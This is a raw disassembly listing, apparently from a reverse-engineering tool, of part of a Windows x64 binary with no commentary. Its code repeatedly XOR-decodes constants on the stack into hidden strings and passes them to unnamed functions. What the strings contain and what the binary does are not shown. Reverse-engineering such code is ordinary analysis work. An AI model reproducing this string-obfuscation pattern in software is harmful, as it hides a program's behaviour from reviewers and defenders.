mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x158], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x3560], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3568], rax
movdqa xmm0, xmmword [rbp + 0x150]
pxor xmm0, xmmword [rbp + 0x3560]
movdqa xmmword [rbp + 0x150], xmm0
movabs rax, 0x5390b64127479739
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x8fbdb4b62b1654a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3550], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3558], rax
movdqa xmm0, xmmword [rbp + 0x1e0]
pxor xmm0, xmmword [rbp + 0x3550]
movdqa xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x1fa8]
call fcn.140034cd0
mov rdi, rax
movabs rax, 0x483971336529739
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x140], rcx
movabs rax, 0x8fbdb4b60b364ee3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x148], rcx
movabs rdx, 0x69e2d9335502b719
mov qword [rbp], rdx
mov rcx, qword [rbp]
mov qword [rbp + 0x3540], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3548], rax
movdqa xmm0, xmmword [rbp + 0x140]
pxor xmm0, xmmword [rbp + 0x3540]
movdqa xmmword [rbp + 0x140], xmm0
movabs rax, 0xc91b756366bfb39
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x8fbdb4b62b3654bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3a10], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3a18], rax
movdqa xmm0, xmmword [rbp + 0x1c0]
pxor xmm0, xmmword [rbp + 0x3a10]
movdqa xmmword [rbp + 0x1c0], xmm0
mov edx, 0x7a
lea rcx, [rbp + 0x16f0]
call fcn.1400112d0
nop
movabs rax, 0x483ab543a70e739
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x660], rax
movabs rax, 0xe1d2ddc5597322a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x668], rax
movabs rax, 0xe0d7f665447505a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
movabs rdx, 0x325eed30e2526ea8
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
movabs rcx, 0x69e2d9335502b719
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3f40], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3f48], rax
movabs r8, 0xe0d7f66544552593
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x3f50], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3f58], rax
vmovdqu ymm0, ymmword [rbp + 0x660]
vpxor ymm1, ymm0, ymmword [rbp + 0x3f40]
vmovdqa ymmword [rbp + 0x660], ymm1
movabs rax, 0x78db0402767e139
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rax, 0x8fbdb4b62b3654bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x39c0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x39c8], rax
vmovdqa xmm0, xmmword [rbp + 0x1b0]
vpxor xmm0, xmm0, xmmword [rbp + 0x39c0]
vmovdqa xmmword [rbp + 0x1b0], xmm0
movabs rax, 0x1d91ac617562d779
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x940], rax
movabs rax, 0xe6dcf296446424a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x948], rax
movabs rax, 0x89b09929643140ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x950], rax
movabs rax, 0x325eed30c27254c6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x958], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3f20], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3f28], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x3f30], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3f38], rax
vmovdqu ymm0, ymmword [rbp + 0x940]
vpxor ymm1, ymm0, ymmword [rbp + 0x3f20]
vmovdqa ymmword [rbp + 0x940], ymm1
lea r8, [0x140127090]
lea rdx, [rbp + 0x940]
lea rcx, [rbp + 0x1fc8]
vzeroupper
call fcn.14003f9f0
nop
lea rcx, [rbp + 0x1b0]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rcx + r8], 0
jne 0x140036540
lea rdx, [rbp + 0x1b0]
mov rcx, rax
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x1770]
call fcn.14000e400
nop
lea r8, [0x1401284a0]
lea rdx, [rbp + 0x1770]
lea rcx, [rbp + 0x27e8]
call fcn.1400404b0
nop
lea rcx, [rbp + 0x660]
mov r8, rbx
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x140036590
lea rdx, [rbp + 0x660]
mov rcx, rax
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x16b0]
call fcn.14000e400
nop
lea r9, [rbp + 0x16f0]
lea r8, [rbp + 0x16b0]
movzx edx, byte [rbp + 0xc]
lea rcx, [rbp + 0x1690]
call fcn.140041010
nop
lea rax, [rbp + 0x1c0]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400365e2
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x1690]
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x1670]
call fcn.14000e400
nop
lea r8, [0x140127090]
lea rdx, [rbp + 0x1670]
lea rcx, [rbp + 0x22e8]
call fcn.1400404b0
nop
lea rcx, [rbp + 0x140]
mov r8, rbx
inc r8
cmp byte [rcx + r8], 0
jne 0x140036634
lea rdx, [rbp + 0x140]
mov rcx, rax
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x1610]
call fcn.14000e400
nop
mov r9, rdi
lea r8, [rbp + 0x1610]
movzx edx, byte [rbp + 0xc]
lea rcx, [rbp + 0x15f0]
call fcn.140041010
nop
lea rax, [rbp + 0x1e0]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140036682
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x15f0]
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x1750]
call fcn.14000e400
nop
lea r8, [rbp + 0x30e8]
lea rdx, [rbp + 0x1750]
lea rcx, [rbp + 0x22c8]
call fcn.1400404b0
nop
lea rcx, [rbp + 0x150]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x1400366d1
mov r8, rbx
lea rdx, [rbp + 0x150]
mov rcx, rax
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x1730]
call fcn.14000e400
nop
mov rdx, rsi
lea rcx, [rbp + 0x1730]
call fcn.14002ed50
nop
lea rcx, [rbp + 0x22c8]
call fcn.140007980
nop
lea rcx, [rbp + 0x1750]
call fcn.140007980
nop
lea rcx, [rbp + 0x15f0]
call fcn.140007980
nop
lea rcx, [rbp + 0x1610]
call fcn.140007980
nop
lea rcx, [rbp + 0x22e8]
call fcn.140007980
nop
lea rcx, [rbp + 0x1670]
call fcn.140007980
nop
lea rcx, [rbp + 0x1690]
call fcn.140007980
nop
lea rcx, [rbp + 0x16b0]
call fcn.140007980
nop
lea rcx, [rbp + 0x27e8]
call fcn.140007980
nop
lea rcx, [rbp + 0x1770]
call fcn.140007980
nop
lea rcx, [rbp + 0x1fc8]
call fcn.140007980
nop
lea rcx, [rbp + 0x16f0]
call fcn.140007980
nop
lea rcx, [rbp + 0x1fa8]
movabs rsi, 0x4135825f8a300bdf
jmp 0x140037e8a
mov byte [0x140128366], 1
cmp qword [0x1401270a0], 0xb
jne 0x14003781c
mov byte [0x140128365], 1
xor eax, eax
mov byte [rbp + 0x6c], al
movzx r8d, al
lea rdx, [0x140127090]
lea rcx, [rbp + 0x2c48]
call fcn.14000e660
lea rax, [rbp + 0x1f88]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 0x6d], al
mov byte [rbp + 0x6e], al
mov byte [rbp + 0x6f], al
mov byte [rbp + 0x70], al
mov byte [rbp + 0x71], al
mov byte [rbp + 0x72], al
mov byte [rbp + 0x73], al
mov byte [rbp + 0x74], al
mov byte [rbp + 0x75], al
mov byte [rbp + 0x76], al
mov byte [rbp + 0x77], al
mov byte [rbp + 0x78], al
mov byte [rbp + 0x79], al
mov byte [rbp + 0x7a], al
mov byte [rbp + 0x7b], al
mov byte [rbp + 0x7c], al
mov byte [rbp + 0x7d], al
mov byte [rbp + 0x7e], al
mov byte [rbp + 0x7f], al
mov byte [rbp + 0x80], al
mov byte [rbp + 0x81], al
mov byte [rbp + 0x82], al
mov byte [rbp + 0x83], al
mov byte [rbp + 0xb], al
movabs rax, 0x46cde3402576c371
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xec0], rax
movabs r12, 0xa1d9c6d948651de2
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xec8], rax
movabs r13, 0xcfbe86046b384af0
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xed0], rax
movabs rax, 0x4135825f8a300bdf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xed8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xee0], rax
movabs rax, 0x1174d7e23b23ff9d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xee8], rax
movabs rax, 0x4e62ecee22e6dfd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xef0], rax
movabs rax, 0xcf59e655b90c62fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xef8], rax
movabs rax, 0x963986d83ab52654
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf00], rax
movabs rax, 0xdf43159c224682d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf08], rax
movabs rax, 0xbbe16ff5869fc46a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf10], rax
movabs rax, 0xe24d82ed101e4d1a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf18], rax
movabs rax, 0xae86cdfc111b1c3c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf20], rax
movabs rax, 0xb9c00bd3e0a8383c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf28], rax
movabs rax, 0x87c8d50120c8dc8a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf30], rax
movabs rax, 0x280804976705fe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf38], rax
movabs rdi, 0x69e2d9335502b719
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4000], rax
movabs rbx, 0x8fbdb4b62b167486
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4008], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4010], rax
movabs rax, 0x325eed30e2526ea8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4018], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4020], rax
movabs rax, 0x2347e3d20914cdaa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4028], rax
movabs rax, 0x623bec11adeece7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4030], rax
movabs rax, 0xb529d40c886452cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4038], rax
movabs rax, 0xa009b18b7dfd7e01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4040], rax
movabs rax, 0x6fae626ea115274e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4048], rax
movabs r14, 0xecd10dbde1fb935b
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4050], rax
movabs r15, 0x8508d18860640c70
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4058], rax
movabs rax, 0xe7deab9770505e55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4060], rax
movabs rax, 0xf5815baaa2fc7372
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4068], rax
movabs rax, 0xe5fdac79668bbbcf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4070], rax
movabs rax, 0x28080497670594
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4078], rax
vmovdqu ymm0, ymmword [rbp + 0xec0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4000]
vmovdqa ymmword [rbp + 0xec0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xee0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4020]
vmovdqa ymmword [rbp + 0xee0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xf00]
vpxor ymm1, ymm0, ymmword [rbp + 0x4040]
vmovdqa ymmword [rbp + 0xf00], ymm1
vmovdqu ymm0, ymmword [rbp + 0xf20]
vpxor ymm1, ymm0, ymmword [rbp + 0x4060]
vmovdqa ymmword [rbp + 0xf20], ymm1
lea rdx, [rbp + 0xec0]
lea rcx, [rbp + 0x1f88]
vzeroupper
call fcn.140007250
mov rsi, rax
movabs rax, 0x69e2d9335562d779
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1a0], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x1a8], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x3910], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3918], rax
movdqa xmm0, xmmword [rbp + 0x1a0]
pxor xmm0, xmmword [rbp + 0x3910]
movdqa xmmword [rbp + 0x1a0], xmm0
movabs rax, 0x5390b64127479739
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0x8fbdb4b62b1654a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x38e0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38e8], rax
movdqa xmm0, xmmword [rbp + 0x190]
pxor xmm0, xmmword [rbp + 0x38e0]
movdqa xmmword [rbp + 0x190], xmm0
lea rcx, [rbp + 0x1ee8]
call fcn.140034cd0
mov rdi, rax
movabs rax, 0x483971336529739
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x180], rcx
movabs rax, 0x8fbdb4b60b364ee3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x188], rcx
movabs rdx, 0x69e2d9335502b719
mov qword [rbp], rdx
mov rcx, qword [rbp]
mov qword [rbp + 0x38c0], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38c8], rax
movdqa xmm0, xmmword [rbp + 0x180]
pxor xmm0, xmmword [rbp + 0x38c0]
movdqa xmmword [rbp + 0x180], xmm0
movabs rax, 0xc91b756366bfb39
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0x8fbdb4b62b3654bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x38b0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38b8], rax
movdqa xmm0, xmmword [rbp + 0x170]
pxor xmm0, xmmword [rbp + 0x38b0]
movdqa xmmword [rbp + 0x170], xmm0
mov edx, 0x7a
lea rcx, [rbp + 0x1590]
call fcn.1400112d0
nop
movabs rax, 0x483ab543a70e739
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x640], rax
movabs rax, 0xe1d2ddc5597322a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x648], rax
movabs rax, 0xe0d7f665447505a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x650], rax
movabs rdx, 0x325eed30e2526ea8
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x658], rax
movabs rcx, 0x69e2d9335502b719
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3dc0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3dc8], rax
movabs r8, 0xe0d7f66544552593
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x3dd0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3dd8], rax
vmovdqu ymm0, ymmword [rbp + 0x640]
vpxor ymm1, ymm0, ymmword [rbp + 0x3dc0]
vmovdqa ymmword [rbp + 0x640], ymm1
movabs rax, 0x78db0402767e139
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0x8fbdb4b62b3654bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3a00], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3a08], rax
vmovdqa xmm0, xmmword [rbp + 0x160]
vpxor xmm0, xmm0, xmmword [rbp + 0x3a00]
vmovdqa xmmword [rbp + 0x160], xmm0
movabs rax, 0x1d91ac617562d779
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x960], rax
movabs rax, 0xecc8e796446424a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x968], rax
movabs rax, 0xacf7d645372640f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x970], rax
movabs rax, 0x327ecd0a8c3b09c7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x978], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3da0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3da8], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x3db0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3db8], rax
vmovdqu ymm0, ymmword [rbp + 0x960]
vpxor ymm1, ymm0, ymmword [rbp + 0x3da0]
vmovdqa ymmword [rbp + 0x960], ymm1
lea r8, [0x140127090]
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0x1f08]
vzeroupper
call fcn.14003f9f0
nop
lea rcx, [rbp + 0x160]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rcx + r8], 0
jne 0x140036fc2
lea rdx, [rbp + 0x160]
mov rcx, rax
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x16d0]
call fcn.14000e400
nop
lea r8, [0x1401284a0]
lea rdx, [rbp + 0x16d0]
lea rcx, [rbp + 0x1f28]
call fcn.1400404b0
nop
lea rcx, [rbp + 0x640]
mov r8, rbx
inc r8
cmp byte [rcx + r8], 0
jne 0x140037010
lea rdx, [rbp + 0x640]
mov rcx, rax
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x1650]
call fcn.14000e400
nop
lea r9, [rbp + 0x1590]
lea r8, [rbp + 0x1650]
movzx edx, byte [rbp + 0xb]
lea rcx, [rbp + 0x1630]
call fcn.140041010
nop
lea rax, [rbp + 0x170]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140037062
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x1630]
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x15d0]
call fcn.14000e400
nop
lea r8, [rbp + 0x2c48]
lea rdx, [rbp + 0x15d0]
lea rcx, [rbp + 0x1f48]
call fcn.1400404b0
nop
lea rcx, [rbp + 0x180]
mov r8, rbx
inc r8
cmp byte [rcx + r8], 0
jne 0x1400370b4
lea rdx, [rbp + 0x180]
mov rcx, rax
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x15b0]
call fcn.14000e400
nop
mov r9, rdi
lea r8, [rbp + 0x15b0]
movzx edx, byte [rbp + 0xb]
lea rcx, [rbp + 0x13f0]
call fcn.140041010
nop
lea rax, [rbp + 0x190]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140037102
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x13f0]
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x1790]
call fcn.14000e400
nop
lea r8, [rbp + 0x30e8]
lea rdx, [rbp + 0x1790]
lea rcx, [rbp + 0x1f68]
call fcn.1400404b0
nop
lea rcx, [rbp + 0x1a0]
mov r8, rbx
inc r8
cmp byte [rcx + r8], 0
jne 0x140037154
lea rdx, [rbp + 0x1a0]
mov rcx, rax
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x1710]
call fcn.14000e400
nop
mov rdx, rsi
lea rcx, [rbp + 0x1710]
call fcn.14002ed50
nop
lea rcx, [rbp + 0x1f68]
call fcn.140007980
nop
lea rcx, [rbp + 0x1790]
call fcn.140007980
nop
lea rcx, [rbp + 0x13f0]
call fcn.140007980
nop
lea rcx, [rbp + 0x15b0]
call fcn.140007980
nop
lea rcx, [rbp + 0x1f48]
call fcn.140007980
nop
lea rcx, [rbp + 0x15d0]
call fcn.140007980
nop
lea rcx, [rbp + 0x1630]
call fcn.140007980
nop
lea rcx, [rbp + 0x1650]
call fcn.140007980
nop
lea rcx, [rbp + 0x1f28]
call fcn.140007980
nop
lea rcx, [rbp + 0x16d0]
call fcn.140007980
nop
lea rcx, [rbp + 0x1f08]
call fcn.140007980
nop
lea rcx, [rbp + 0x1590]
call fcn.140007980
nop
lea rcx, [rbp + 0x1ee8]
call fcn.140007980
lea rax, [rbp + 0x1ec8]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 0x84], al
mov byte [rbp + 0x85], al
mov byte [rbp + 0x86], al
mov byte [rbp + 0x87], al
mov byte [rbp + 0x88], al
mov byte [rbp + 0x89], al
mov byte [rbp + 0x8a], al
mov byte [rbp + 0x8b], al
mov byte [rbp + 0xe], al
movabs rax, 0x46cde3402576c371
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe40], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xe48], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xe50], rax
movabs rsi, 0x4135825f8a300bdf
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xe58], rax
movabs rax, 0x72b2250a23ab2922
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe60], rax
movabs rax, 0x1470d5e63c24f592
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe68], rax
movabs rax, 0x421bd8ee2fead5d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe70], rax
movabs rax, 0xd27da653dc1e379b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe78], rax
movabs rax, 0xf743d6d418962839
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe80], rax
movabs rax, 0x5ceb2527ed254f38
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe88], rax
movabs rax, 0x8ab23ac4859ecc22
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe90], rax
movabs rax, 0xb04be2f219167531
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe98], rax
movabs rax, 0xa8adcee43512123b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xea0], rax
movabs rax, 0x9dca6ee2f2a51c1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xea8], rax
movabs rax, 0x9098e91514c6e4f9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xeb0], rax
movabs rax, 0x280804976705f9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xeb8], rax
movabs rcx, 0x69e2d9335502b719
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4080], rax
movabs rax, 0x8fbdb4b62b167486
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4088], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4090], rax
movabs rax, 0x325eed30e2526ea8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4098], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40a0], rax
movabs rax, 0x2347e3d20914cdaa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40a8], rax
movabs rax, 0x623bec11adeece7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40b0], rax
movabs rax, 0xb529d40c886452cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40b8], rax
movabs rax, 0xa009b18b7dfd7e01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40c0], rax
movabs rax, 0x6fae626ea115274e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40c8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x40d0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x40d8], rax
movabs rax, 0xe7deab9770505e55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40e0], rax
movabs rax, 0xf5815baaa2fc7372
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40e8], rax
movabs rax, 0xe5fdac79668bbbcf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40f0], rax
movabs rax, 0x28080497670594
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40f8], rax
vmovdqu ymm0, ymmword [rbp + 0xe40]
vpxor ymm1, ymm0, ymmword [rbp + 0x4080]
vmovdqa ymmword [rbp + 0xe40], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe60]
vpxor ymm1, ymm0, ymmword [rbp + 0x40a0]
vmovdqa ymmword [rbp + 0xe60], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe80]
vpxor ymm1, ymm0, ymmword [rbp + 0x40c0]
vmovdqa ymmword [rbp + 0xe80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xea0]
vpxor ymm1, ymm0, ymmword [rbp + 0x40e0]
vmovdqa ymmword [rbp + 0xea0], ymm1
lea rdx, [rbp + 0xe40]
lea rcx, [rbp + 0x1ec8]
vzeroupper
call fcn.140007250
mov rdi, rax
movabs rax, 0xc91b756366bfb39
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1d0], rcx
movabs rax, 0x8fbd948c52733fa6
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1d8], rcx
movabs rax, 0x69e2d9335502b719
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x39f0], rcx
movabs rax, 0x8fbdb4b62b167486
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x39f8], rax
movdqa xmm0, xmmword [rbp + 0x1d0]
pxor xmm0, xmmword [rbp + 0x39f0]
movdqa xmmword [rbp + 0x1d0], xmm0
mov edx, 0x1a0a
lea rcx, [rbp + 0x14f0]
call fcn.1400112d0
nop
movabs rax, 0x69e2d9133562d739
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs rcx, 0x8fbdb4b62b167486
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
movabs rax, 0x69e2d9335502b719
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x39d0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x39d8], rax
movdqa xmm0, xmmword [rbp + 0x320]
pxor xmm0, xmmword [rbp + 0x39d0]
movdqa xmmword [rbp + 0x320], xmm0
lea r8, [0x1401284a0]
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x1e88]
call fcn.14003f9f0
nop
mov r8d, 1
lea rdx, [0x140107f74]
mov rcx, rax
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x1510]
call fcn.14000e400
nop
lea r9, [rbp + 0x14f0]
